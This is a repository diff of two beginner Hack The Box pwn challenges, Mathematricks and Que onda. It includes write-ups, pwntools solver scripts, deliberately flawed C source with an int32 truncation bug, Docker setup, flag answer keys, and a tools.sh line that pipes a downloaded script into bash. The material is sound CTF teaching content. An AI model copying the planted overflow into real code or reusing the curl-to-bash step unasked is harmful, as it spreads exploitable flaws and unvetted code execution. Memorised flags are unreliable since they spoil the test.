0000187a uint64_t n2 = read_num();
|
||||
0000189e if ((n1 > 0 && n2 > 0))
|
||||
0000189e {
|
||||
000018bd if ((n2 + n1) >= 0)
|
||||
000018bd {
|
||||
000018d5 printstr("\n\t\t[!] Hacking school opens a…");
|
||||
000018bd }
|
||||
000018bd else
|
||||
000018bd {
|
||||
000018c4 read_flag();
|
||||
000018bd }
|
||||
000018df exit(0x520);
|
||||
000018df /* no return */
|
||||
0000189e }
|
||||
000018aa printstr("\n\t\t[!] Hacking school opens a…");
|
||||
000018b4 exit(0x520);
|
||||
000018b4 /* no return */
|
||||
00001700 }
|
||||
```
|
||||
|
||||
First of all, we can see the answers of the first 3 questions. Then, for the last question, we need to take into consideration this part of code:
|
||||
|
||||
```c
|
||||
00001853 printstr("\t\tQ4: Enter 2 numbers n1, n2 w…");
|
||||
0000185d uint64_t n1 = read_num();
|
||||
00001870 printstr("\n\t\tn2: ");
|
||||
0000187a uint64_t n2 = read_num();
|
||||
0000189e if ((n1 > 0 && n2 > 0))
|
||||
0000189e {
|
||||
000018bd if ((n2 + n1) >= 0)
|
||||
000018bd {
|
||||
000018d5 printstr("\n\t\t[!] Hacking school opens a…");
|
||||
000018bd }
|
||||
000018bd else
|
||||
000018bd {
|
||||
000018c4 read_flag();
|
||||
000018bd }
|
||||
000018df exit(0x520);
|
||||
000018df /* no return */
|
||||
0000189e }
|
||||
000018aa printstr("\n\t\t[!] Hacking school opens a…");
|
||||
000018b4 exit(0x520);
|
||||
000018b4 /* no return */
|
||||
00001700 }
|
||||
```
|
||||
|
||||
The crucial part here is that these 2 numbers are `uint64_t`, meaning they are `unsigned int` for 64-bit. This is probably a fault of the decompiler, because in the source code (it's not provided, just for demonstration purposes), we can see that indeed these 2 numbers are `unsigned` but the result is a `signed 32` or `int32_t`.
|
||||
|
||||
```c
|
||||
int64_t n1, n2;
|
||||
printstr("\t\tQ4: Enter 2 numbers n1, n2 where n1 > 0 and n2 > 0 and n1 + n2 < 0\n\n\t\tn1: ");
|
||||
n1 = read_num();
|
||||
printstr("\n\t\tn2: ");
|
||||
n2 = read_num();
|
||||
int32_t n3 = n1 + n2;
|
||||
if (n1 <= 0 || n2 <= 0) {
|
||||
printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n");
|
||||
exit(1312);
|
||||
}
|
||||
(n3 < 0) ? read_flag() : printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n");
|
||||
exit(1312);
|
||||
}
|
||||
```
|
||||
|
||||
Taking a look at the `INT_MAX` value in `C`:
|
||||
|
||||

|
||||
|
||||
If we try to store this value to one of the numbers, and something else to the other, we can achieve an `Integer Overflow` and get the flag.
|
||||
|
||||
# Solution
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
from pwn import *
|
||||
import warnings
|
||||
import os
|
||||
warnings.filterwarnings('ignore')
|
||||
context.arch = 'amd64'
|
||||
context.log_level = 'critical'
|
||||
|
||||
fname = './mathematricks'
|
||||
|
||||
LOCAL = False
|
||||
|
||||
os.system('clear')
|
||||
|
||||
if LOCAL:
|
||||
print('Running solver locally..\n')
|
||||
r = process(fname)
|
||||
else:
|
||||
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
|
||||
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
|
||||
r = remote(IP, PORT)
|
||||
print(f'Running solver remotely at {IP} {PORT}\n')
|
||||
|
||||
sla = lambda x,y : r.sendlineafter(x,y)
|
||||
|
||||
sla('🥸 ', '1') # play game
|
||||
|
||||
# Questions
|
||||
sla('> ', '2')
|
||||
sla('> ', '1')
|
||||
sla('> ', '0')
|
||||
sla('n1: ', '2147483647') # INT_MAX
|
||||
sla('n2: ', '1337')
|
||||
|
||||
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
|
||||
```
|
After Width: | Height: | Size: 73 KiB |
After Width: | Height: | Size: 45 KiB |
BIN
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/htb.png
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/int.png
Normal file
After Width: | Height: | Size: 42 KiB |
After Width: | Height: | Size: 41 KiB |
After Width: | Height: | Size: 42 KiB |
BIN
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/assets/poc.png
Normal file
After Width: | Height: | Size: 51 KiB |
3
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/build-docker.sh
Executable file
|
@ -0,0 +1,3 @@
|
|||
#!/bin/sh
|
||||
docker build --tag=mathematricks .
|
||||
docker run -it -p 1337:1337 --rm --name=mathematricks mathematricks
|
|
@ -0,0 +1 @@
|
|||
HTB{m4th3m4tINT_5tuff}
|
BIN
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/glibc/libc.so.6
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/challenge/mathematricks
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/glibc/ld-linux-x86-64.so.2
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/glibc/libc.so.6
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/mathematricks
Executable file
35
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/htb/solver.py
Executable file
|
@ -0,0 +1,35 @@
|
|||
#!/usr/bin/python3
|
||||
from pwn import *
|
||||
import warnings
|
||||
import os
|
||||
warnings.filterwarnings('ignore')
|
||||
context.arch = 'amd64'
|
||||
context.log_level = 'critical'
|
||||
|
||||
fname = './mathematricks'
|
||||
|
||||
LOCAL = False
|
||||
|
||||
os.system('clear')
|
||||
|
||||
if LOCAL:
|
||||
print('Running solver locally..\n')
|
||||
r = process(fname)
|
||||
else:
|
||||
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
|
||||
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
|
||||
r = remote(IP, PORT)
|
||||
print(f'Running solver remotely at {IP} {PORT}\n')
|
||||
|
||||
sla = lambda x,y : r.sendlineafter(x,y)
|
||||
|
||||
sla('🥸 ', '1') # play game
|
||||
|
||||
# Questions
|
||||
sla('> ', '2')
|
||||
sla('> ', '1')
|
||||
sla('> ', '0')
|
||||
sla('n1: ', '2147483647') # INT_MAX
|
||||
sla('n2: ', '1337')
|
||||
|
||||
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
|
|
@ -0,0 +1,16 @@
|
|||
# Name of PROG and CFLAGS shall be changed.
|
||||
|
||||
PROG = mathematricks # CHANGE THIS
|
||||
SRC = main.c
|
||||
CFLAGS = -fstack-protector-all -Wl,-z,relro,-z,now -w -Xlinker -rpath=./glibc/ -Xlinker -I./glibc/ld-linux-x86-64.so.2
|
||||
|
||||
all: compile
|
||||
|
||||
compile:
|
||||
@echo "Compiling $(SRC) -> $(PROG)"
|
||||
gcc $(SRC) -o $(PROG) $(CFLAGS)
|
||||
|
||||
clean:
|
||||
rm -f $(PROG)
|
||||
|
||||
|
BIN
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/glibc/ld-linux-x86-64.so.2
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/glibc/libc.so.6
Executable file
141
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/src/main.c
Normal file
|
@ -0,0 +1,141 @@
|
|||
#include <time.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define RED "\e[1;31m"
|
||||
#define GREEN "\e[1;32m"
|
||||
#define YELLOW "\e[1;33m"
|
||||
#define BLUE "\e[1;34m"
|
||||
#define MAGENTA "\e[1;35m"
|
||||
#define CYAN "\e[1;36m"
|
||||
#define LIGHT_GRAY "\e[1;37m"
|
||||
#define RESET "\e[0m"
|
||||
#define SIZE 32
|
||||
|
||||
/*
|
||||
* Compile a program with older libc:
|
||||
docker run -v "${PWD}:/mnt" -it debian:latest bash
|
||||
apt update; apt install -y gcc make vim gdb tmux && cd /mnt
|
||||
*/
|
||||
|
||||
void error(char *msg) {
|
||||
printf("\n%s[-] %s%s\n", RED, msg, BLUE);
|
||||
}
|
||||
|
||||
void cls() {
|
||||
printf("\033[2J");
|
||||
printf("\033[%d;%dH", 0, 0);
|
||||
}
|
||||
|
||||
void read_flag() {
|
||||
char c;
|
||||
int fp = open("./flag.txt", O_RDONLY);
|
||||
if (fp < 0) {
|
||||
perror("\nError opening flag.txt, please contact an Administrator\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
while ( read(fp, &c, 1) > 0 )
|
||||
fprintf(stdout, "%c", c);
|
||||
close(fp);
|
||||
}
|
||||
|
||||
uint64_t read_num() {
|
||||
char temp[32] = {0};
|
||||
read(0, temp, 31);
|
||||
return strtoul(temp, 0x0, 0);
|
||||
}
|
||||
|
||||
void printstr(char *s) {
|
||||
for (size_t i = 0; i < strlen(s); i++){
|
||||
putchar(s[i]);
|
||||
usleep(2000);
|
||||
}
|
||||
}
|
||||
|
||||
void banner(void) {
|
||||
cls();
|
||||
char *col[7] = {YELLOW, CYAN, GREEN, RED, BLUE, MAGENTA, LIGHT_GRAY};
|
||||
srand(time(NULL));
|
||||
puts(col[rand() % 6]);
|
||||
printstr("\t🎉 ~~ w3lC0m3 2 tH3 M4th3M4tR1kCs c0nt35t ~~ 🎉\n\n");
|
||||
}
|
||||
|
||||
uint64_t menu() {
|
||||
printstr(""
|
||||
"\t\t\t■ ■ ■ ■ ■ ■ ■\n"
|
||||
"\t\t\t■ ■\n"
|
||||
"\t\t\t■ 1. Play ■\n"
|
||||
"\t\t\t■ 2. Rules ■\n"
|
||||
"\t\t\t■ ■\n"
|
||||
"\t\t\t■ ■ ■ ■ ■ ■ ■\n\n\t\t\t🥸 ");
|
||||
|
||||
return read_num();
|
||||
}
|
||||
|
||||
void game() {
|
||||
printstr("\n\t\t🎉 ~~ Let the game begin! ~~ 🎉\n\n");
|
||||
printstr("\t\tQ1: 1 + 1 = ?\n\n\t\t> ");
|
||||
if (read_num() != 2) {
|
||||
printstr("\n\t\t[!] Elementary school opens at 07:00 AM, don't miss it!\n\n");
|
||||
exit(1312);
|
||||
}
|
||||
printf("\n\t\t%s[+] THAT WAS AMAZING!\n\n%s", GREEN, BLUE);
|
||||
printstr("\t\tQ2: 2 - 1 = ?\n\n\t\t> ");
|
||||
if (read_num() != 1) {
|
||||
printstr("\n\t\t[!] Elementary school opens at 07:00 AM, don't miss it!\n\n");
|
||||
exit(1312);
|
||||
}
|
||||
printf("\n\t\t%s[+] WE HAVE A MATHEMATICIAN AMONG US!\n\n%s", GREEN, CYAN);
|
||||
printstr("\t\tQ3: 1337 - 1337 = ?\n\n\t\t> ");
|
||||
if (read_num() != 0) {
|
||||
printstr("\n\t\t[!] High school opens at 07:00 AM, don't miss it!\n\n");
|
||||
exit(1312);
|
||||
}
|
||||
printf("\n\t\t%s[+] GOD OF MATHS JUST ENTERED THE CHAT..\n\n%s", GREEN, BLUE);
|
||||
int64_t n1, n2;
|
||||
printstr("\t\tQ4: Enter 2 numbers n1, n2 where n1 > 0 and n2 > 0 and n1 + n2 < 0\n\n\t\tn1: ");
|
||||
n1 = read_num();
|
||||
printstr("\n\t\tn2: ");
|
||||
n2 = read_num();
|
||||
int32_t n3 = n1 + n2;
|
||||
if (n1 <= 0 || n2 <= 0) {
|
||||
printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n");
|
||||
exit(1312);
|
||||
}
|
||||
(n3 < 0) ? read_flag() : printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n");
|
||||
exit(1312);
|
||||
}
|
||||
|
||||
void rules() {
|
||||
printstr("\n"
|
||||
"\t\t\t■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■\n"
|
||||
"\t\t\t■ ■\n"
|
||||
"\t\t\t■ Solve the math questions to get the flag, some of them are tricky! ■\n"
|
||||
"\t\t\t■ ■\n"
|
||||
"\t\t\t■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■\n\n"
|
||||
);
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
banner();
|
||||
for (;;) {
|
||||
switch ( menu() ) {
|
||||
case 1: game(); break;
|
||||
case 2: rules(); break;
|
||||
default: printf("%s\n\t\t\t[???????????]\n\n", RED); exit(1312);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
__attribute__((constructor))
|
||||
void setup(void) {
|
||||
cls();
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
alarm(0x1312);
|
||||
}
|
8
htb/hacktheboo2024/pwn/[Very Easy] Que onda/Dockerfile
Normal file
|
@ -0,0 +1,8 @@
|
|||
FROM alpine:latest
|
||||
RUN apk add --no-cache socat dash && ln -sf /usr/bin/dash /bin/sh
|
||||
EXPOSE 1337
|
||||
RUN addgroup -S ctf && adduser -S ctf -G ctf
|
||||
COPY challenge/ /home/ctf/
|
||||
WORKDIR /home/ctf
|
||||
USER ctf
|
||||
CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./que_onda"]
|
159
htb/hacktheboo2024/pwn/[Very Easy] Que onda/README.md
Normal file
|
@ -0,0 +1,159 @@
|
|||

|
||||
|
||||
|
||||
|
||||
<img src="assets/htb.png" style="margin-left: 20px; zoom: 80%;" align=left /> <font size="10">Que Onda</font>
|
||||
|
||||
10 Septemeber 2024 / Document No. DYY.102.XX
|
||||
|
||||
Prepared By: w3th4nds
|
||||
|
||||
Challenge Author(s): w3th4nds
|
||||
|
||||
Difficulty: <font color=green>Very Easy</font>
|
||||
|
||||
Classification: Official
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Synopsis
|
||||
|
||||
Que Onda is a very easy difficulty challenge that features installing basic tools, interacting with netcat and basic python scripting.
|
||||
|
||||
# Description
|
||||
|
||||
Que onda! Welcome to the festival of Pwn! This is a small guide to help you continue your journey, follow the instructions in README.txt
|
||||
|
||||
## Skills Required
|
||||
|
||||
- None
|
||||
|
||||
## Skills Learned
|
||||
|
||||
- Interaction with `nc` and `pwntools`.
|
||||
|
||||
# Enumeration
|
||||
|
||||
We are given some files, including `README.txt`.
|
||||
|
||||
```bash
|
||||
$ cat README.txt
|
||||
🎃 h3ll0, fr13nd5! 🎃
|
||||
|
||||
This challenge is designed to help you get comfortable interacting with a remote instance, while also guiding you through the installation of essential tools. If you encounter any issues or notice anything missing, feel free to reach out to me via dm (#w3th4nds).
|
||||
|
||||
* To install the tools, run "./tools.sh" in your terminal.
|
||||
* To interact with the challenge, spawn an instance and then use the command "nc <IP> <PORT>" e.g. "nc 127.0.0.1 1337"
|
||||
* To run the solver script, run "./solver.py <IP> <PORT>" or "python3 solver.py <IP> <PORT>" e.g. "python3 solver 127.0.0.1 1337"
|
||||
* This "HTB{f4ke_fl4g_4_t35t1ng}" is not the flag, just a placeholder.
|
||||
* After that, you simply send the string "flag" to get the flag.
|
||||
* "glibc" folder is not needed to exploit the challenge, it's given so you can run the challenge.
|
||||
* To run the challenge locally, enter in your terminal "./que_onda".
|
||||
|
||||
🎃 h4ppy h4ck1n6! 🎃
|
||||
```
|
||||
|
||||
There are some basic instructions here on how to proceed with the next challenges and some helping tools to install.
|
||||
|
||||
```bash
|
||||
$ cat tools.sh
|
||||
#!/bin/bash
|
||||
|
||||
clear
|
||||
os=$(lsb_release -i | cut -d':' -f2 | tr -d '[:space:]')
|
||||
ver=$(lsb_release -d | cut -d':' -f2 | tr -d '[:space:]')
|
||||
|
||||
red="\e[1;32m"
|
||||
green="\e[3;32m"
|
||||
blue="\e[1;94m"
|
||||
reset="\e[0m"
|
||||
|
||||
echo -ne "[!] This script will install${green} pwntools${reset},${green} gdb${reset}-${green}gef${reset} and ${green}python3-pip${reset} in your system, do you want to proceed? (Y/n): "
|
||||
read ans
|
||||
echo -ne "${reset}"
|
||||
|
||||
if [[ "$ans" == "" || "$ans" == "y" || "$ans" == "Y" ]]; then
|
||||
# Install gdb - gef - python3-pip
|
||||
echo -e "\n${blue}[*] $os ver: ${green}${ver}${reset}"
|
||||
echo -e "\n${blue}[*] Installing${green} pwntools${blue}${reset}..\n"
|
||||
sudo apt update -y
|
||||
sudo apt install gdb python3-pip -y
|
||||
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
|
||||
|
||||
# Install pwntools
|
||||
if [[ "$ver" == "24.0"* && "$os" == "Ububntu" ]]; then
|
||||
python3 -m pip install --upgrade pip --break-system-packages && python3 -m pip install --upgrade pwntools --break-system-packages
|
||||
else
|
||||
python3 -m pip install --upgrade pip && python3 -m pip install --upgrade pwntools
|
||||
fi
|
||||
echo -e "${green}[+] Done!${reset}"
|
||||
fi
|
||||
```
|
||||
|
||||
This script will install `python3-pip`, [pwntools](https://github.com/Gallopsled/pwntools) and [gdb-gef](https://hugsy.github.io/gef/install/).
|
||||
|
||||
### First interaction
|
||||
|
||||
First of all, we start with a `checksec`:
|
||||
|
||||
```console
|
||||
pwndbg> checksec
|
||||
Arch: amd64
|
||||
RELRO: Full RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
RUNPATH: b'./glibc/'
|
||||
```
|
||||
|
||||
### Protections 🛡️
|
||||
|
||||
As we can see:
|
||||
|
||||
| Protection | Enabled | Usage |
|
||||
| :---: | :---: | :---: |
|
||||
| **Canary** | ✅ | Prevents **Buffer Overflows** |
|
||||
| **NX** | ✅ | Disables **code execution** on stack |
|
||||
| **PIE** | ✅ | Randomizes the **base address** of the binary |
|
||||
| **RelRO** | **Full** | Makes some binary sections **read-only** |
|
||||
|
||||
The program's interface
|
||||
|
||||

|
||||
|
||||
The challenge is pretty much what it says. If we send "flag", we get the flag.
|
||||
|
||||

|
||||
|
||||
# Solution
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
from pwn import *
|
||||
import warnings
|
||||
import os
|
||||
warnings.filterwarnings('ignore')
|
||||
context.log_level = 'critical'
|
||||
|
||||
fname = './que_onda' # Specifiy the binary name
|
||||
|
||||
LOCAL = False # Change it to "True" to run the solver locally
|
||||
|
||||
os.system('clear') # Clear screen
|
||||
|
||||
if LOCAL:
|
||||
print('Running solver locally..\n')
|
||||
r = process(fname) # Starting local process
|
||||
else:
|
||||
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
|
||||
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
|
||||
r = remote(IP, PORT) # Opens a remote connection to the specified <IP> and <PORT>
|
||||
print(f'Running solver remotely at {IP} {PORT}\n')
|
||||
|
||||
r.sendline('flag') # Sends the string "flag" to the remote instance
|
||||
|
||||
print(f'Flag --> {r.recvline_contains(b"HTB")[2:].strip().decode()}\n') # Reads the flag
|
||||
```
|
||||
|
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/banner.png
Normal file
After Width: | Height: | Size: 45 KiB |
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/htb.png
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/interface.png
Normal file
After Width: | Height: | Size: 19 KiB |
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/assets/poc.png
Normal file
After Width: | Height: | Size: 22 KiB |
3
htb/hacktheboo2024/pwn/[Very Easy] Que onda/build-docker.sh
Executable file
|
@ -0,0 +1,3 @@
|
|||
#!/bin/sh
|
||||
docker build --tag=que_onda .
|
||||
docker run -it -p 1337:1337 --rm --name=que_onda que_onda
|
|
@ -0,0 +1 @@
|
|||
HTB{w3lc0m3_2_pwn_f35t1v4l}
|
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/glibc/ld-linux-x86-64.so.2
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/glibc/libc.so.6
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/challenge/que_onda
Executable file
1
htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/flag.txt
Normal file
|
@ -0,0 +1 @@
|
|||
HTB{f4k3_fl4g_f0r_t35t1ng}
|
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/glibc/ld-linux-x86-64.so.2
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/glibc/libc.so.6
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/que_onda
Executable file
25
htb/hacktheboo2024/pwn/[Very Easy] Que onda/htb/solver.py
Executable file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/python3
|
||||
from pwn import *
|
||||
import warnings
|
||||
import os
|
||||
warnings.filterwarnings('ignore')
|
||||
context.log_level = 'critical'
|
||||
|
||||
fname = './que_onda' # Specifiy the binary name
|
||||
|
||||
LOCAL = False # Change it to "True" to run the solver locally
|
||||
|
||||
os.system('clear') # Clear screen
|
||||
|
||||
if LOCAL:
|
||||
print('Running solver locally..\n')
|
||||
r = process(fname) # Starting local process
|
||||
else:
|
||||
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
|
||||
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
|
||||
r = remote(IP, PORT) # Opens a remote connection to the specified <IP> and <PORT>
|
||||
print(f'Running solver remotely at {IP} {PORT}\n')
|
||||
|
||||
r.sendline('flag') # Sends the string "flag" to the remote instance
|
||||
|
||||
print(f'Flag --> {r.recvline_contains(b"HTB")[2:].strip().decode()}\n') # Reads the flag
|
16
htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/Makefile
Normal file
|
@ -0,0 +1,16 @@
|
|||
# Name of PROG and CFLAGS shall be changed.
|
||||
|
||||
PROG = que_onda # CHANGE THIS
|
||||
SRC = main.c
|
||||
CFLAGS = -fstack-protector-all -Wl,-z,relro,-z,now -w -Xlinker -rpath=./glibc/ -Xlinker -I./glibc/ld-linux-x86-64.so.2
|
||||
|
||||
all: compile
|
||||
|
||||
compile:
|
||||
@echo "Compiling $(SRC) -> $(PROG)"
|
||||
gcc $(SRC) -o $(PROG) $(CFLAGS)
|
||||
|
||||
clean:
|
||||
rm -f $(PROG)
|
||||
|
||||
|
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/glibc/ld-linux-x86-64.so.2
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/glibc/libc.so.6
Executable file
75
htb/hacktheboo2024/pwn/[Very Easy] Que onda/src/main.c
Normal file
|
@ -0,0 +1,75 @@
|
|||
#include <time.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define RED "\e[1;31m"
|
||||
#define GREEN "\e[1;32m"
|
||||
#define YELLOW "\e[1;33m"
|
||||
#define BLUE "\e[1;34m"
|
||||
#define MAGENTA "\e[1;35m"
|
||||
#define CYAN "\e[1;36m"
|
||||
#define LIGHT_GRAY "\e[1;37m"
|
||||
#define RESET "\e[0m"
|
||||
#define SIZE 32
|
||||
|
||||
void error(char *msg) {
|
||||
printf("\n%s[-] %s%s\n", RED, msg, BLUE);
|
||||
}
|
||||
|
||||
void cls() {
|
||||
printf("\033[2J");
|
||||
printf("\033[%d;%dH", 0, 0);
|
||||
}
|
||||
|
||||
void read_flag() {
|
||||
char c;
|
||||
int fp = open("./flag.txt", O_RDONLY);
|
||||
if (fp < 0) {
|
||||
perror("\nError opening flag.txt, please contact an Administrator\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
while ( read(fp, &c, 1) > 0 )
|
||||
fprintf(stdout, "%c", c);
|
||||
close(fp);
|
||||
}
|
||||
|
||||
void printstr(char *s) {
|
||||
for (size_t i = 0; i < strlen(s); i++){
|
||||
putchar(s[i]);
|
||||
usleep(4000);
|
||||
}
|
||||
}
|
||||
|
||||
void banner(void) {
|
||||
char *col[7] = {YELLOW, CYAN, GREEN, RED, BLUE, MAGENTA, LIGHT_GRAY};
|
||||
srand(time(NULL));
|
||||
puts(col[rand() % 6]);
|
||||
cls();
|
||||
printstr(
|
||||
"▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧\n"
|
||||
"▧ ▧\n"
|
||||
"▧ Hola mi Amigos! Send me the string \"flag\" ▧\n"
|
||||
"▧ and I will give you uno grande prize!! ▧\n"
|
||||
"▧ ▧\n"
|
||||
"▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧▧\n\n$ ");
|
||||
char buf[0x10] = {0};
|
||||
read(0, buf, 6);
|
||||
!strncmp(buf, "flag", 4) ? read_flag() : error("Que??");
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
banner();
|
||||
return 0;
|
||||
}
|
||||
|
||||
__attribute__((constructor))
|
||||
void setup(void) {
|
||||
cls();
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
alarm(0x1312);
|
||||
}
|